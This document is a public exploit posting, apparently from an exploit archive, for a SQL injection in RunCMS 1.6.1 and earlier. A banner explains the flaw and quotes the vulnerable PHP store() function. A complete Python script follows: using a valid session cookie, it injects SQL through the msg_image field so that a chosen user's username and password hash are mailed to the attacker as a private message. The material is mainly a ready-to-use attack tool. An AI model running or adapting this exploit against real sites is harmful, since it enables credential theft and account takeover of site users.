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RunCMS <= 1.6.1 (msg_image) SQL Injection Exploit
================================================= RunCMS <= 1.6.1 (msg_image) SQL Injection Exploit ================================================= #!/usr/bin/python """ #=================================================================================================# # ____ __________ __ ____ __ # # /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ # # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ # # | | | \ | |/ \ \___| | /_____/ | || | # # |___|___| /\__| /______ /\___ >__| |___||__| # # \/\______| \/ \/ # #=================================================================================================# # This is a public Exploit # #=================================================================================================# # Runcms <= 1.6.1 # # Sql Injection Vulnerability # #=================================================================================================# # .-= In memory of our friend rGod =-. # #====================================#===========#====================================#===========# # Server Configuration Requirements # # Some Information # # #====================================# #====================================# # # # # # magic_quotes_gpc = 0 # Vendor: runcms.org # # # Author: The:Paradox # #================================================# Severity: Moderately Critical # # # # # Uff... I have to find something to put here... # Proud To Be Italian. # # # # #====================================#===========#================================================# # Proof Of Concept / Bug Explanation # # #====================================# # # # # This time i'm really too lazy to write a long PoC. # # $msg_image (but also $msg_attachment) is unproperly checked when calling store() # # function (modules/messages/class/pm.class.php) # # Sql injection in insert syntax (whatever I am not using blind attack). Prefix knowledge needed. # # # #=================================================================================================# [modules/messages/class/pm.class.php] 64. function store() { 65. global $db, $upload; 66. 67. if ( !$this->isCleaned() ) { 68. if ( !$this->cleanVars() ) { 69. return false; 70. } 71. } 72. 73. foreach ( $this->cleanVars as $k=>$v ) { 74. $$k = $v; 75. } 76. 77. if ( empty($msg_id) ) { 78. 79. $msg_id = $db->genId($db->prefix('private_msgs').'_msg_id_seq'); 80. 81. $sql = " 82. INSERT INTO ".$db->prefix("private_msgs")." SET 83. msg_id=".intval($msg_id).", 84. msg_image='$msg_image', 85. msg_attachment='$msg_attachment', 86. subject='$subject', 87. from_userid=".intval($from_userid).", 88. to_userid=".intval($to_userid).", 89. msg_time=".time().", 90. msg_text='$msg_text', 91. read_msg=0, 92. type='".$type."', 93. allow_html=".intval($allow_html).", 94. allow_smileys=".intval($allow_smileys).", 95. allow_bbcode=".intval($allow_bbcode).", 96. msg_replay=".intval($msg_replay).""; 97. } 98. 99. if ( !$result = $db->query($sql) ) { 100. $this->errors[] = _NOTUPDATED; 101. return false; 102. } 103. 104. return true; 105. } #=================================================================================================# # There are other vulnerabilities in this CMS. Find them by yourself. # #=================================================================================================# # Use this at your own risk. You are responsible for your own deeds. # #=================================================================================================# # Python Exploit Starts # #=================================================================================================# """ import urllib, urllib2 from sys import argv, exit main = """ #================================================================# # Runcms <= 1.6.1 # # Sql Injection Vulnerability # # Discovered By The:Paradox # # # # rGod is still alive in our hearts # # # # Usage: # # ./homerun [Target+path] [TargetUid] [ValidUserCookie] # # ./homerun --help (to print an example) # #================================================================# """ prefix = "runcms_" if len(argv)>=2 and argv[1] == "--help": print "\nuser@linux:~/Desktop$ ./homerun http://localhost/web/runcms/ 1 rc_sess=a%3A3%3A%7Bi%3A0%3Bi%3A3%3Bi%3A1%3Bs%3A40%3A%228b394462d67198707aea362098001610d35687ff%22%3Bi%3A2%3Bi%3A1212933002%3B%7D;\n\n" + main + "\n\n[.] Exploit Starting.\n[+] Sending HTTP Request...\n[+] A message with username and password of user with id 1 has been sent to user with id 3.\n -= The:Paradox =-" else: print main if len(argv)<=3: exit() else: print "[.] Exploit Starting." host = argv[1] tuid = argv[2] cookie = argv[3] try: uid = cookie.split("a%3A3%3A%7Bi%3A0%3Bi%3A")[1].split("%3Bi%3A1%3Bs%3A40%3A%")[0] except: exit("[-] Invalid cookie") sql = "icon12.gif', msg_attachment='', subject='Master, all was done.', from_userid=" + str(uid) + ", to_userid=" + str(uid) + ", msg_time=0, msg_text=concat('Master, password hash for ',(select uname from " + prefix + "users where uid=" + tuid + "),' is ',(select pass from " + prefix + "users where uid=" + tuid + ")), read_msg=0, type='1', allow_html=0, allow_smileys=1, allow_bbcode=1, msg_replay=0/*" print "[+] Sending HTTP Request..." values = {'subject' : 'Master attack failed.', 'message' : 'Probably mq = 1 or system patched.', 'allow_html' : 0, 'allow_smileys' : 1, 'allow_bbcode' : 0, 'msg_replay' : 1, 'submit' : '1', 'msg_image' : sql, 'to_userid' : uid } headers = {'Cookie' : cookie, 'Content-Type' : 'application/x-www-form-urlencoded'} req = urllib2.Request(host + "/modules/messages/pmlite.php", urllib.urlencode(values), headers) response = urllib2.urlopen(req) if response.read().find('Your message has been posted.') != -1: print "[+] A message with username and password of user with id " + tuid + " has been sent to user with id " + uid + ".\n -= The:Paradox =-" else: print "[-] Unable to send message" # 0day.today [2024-11-15] #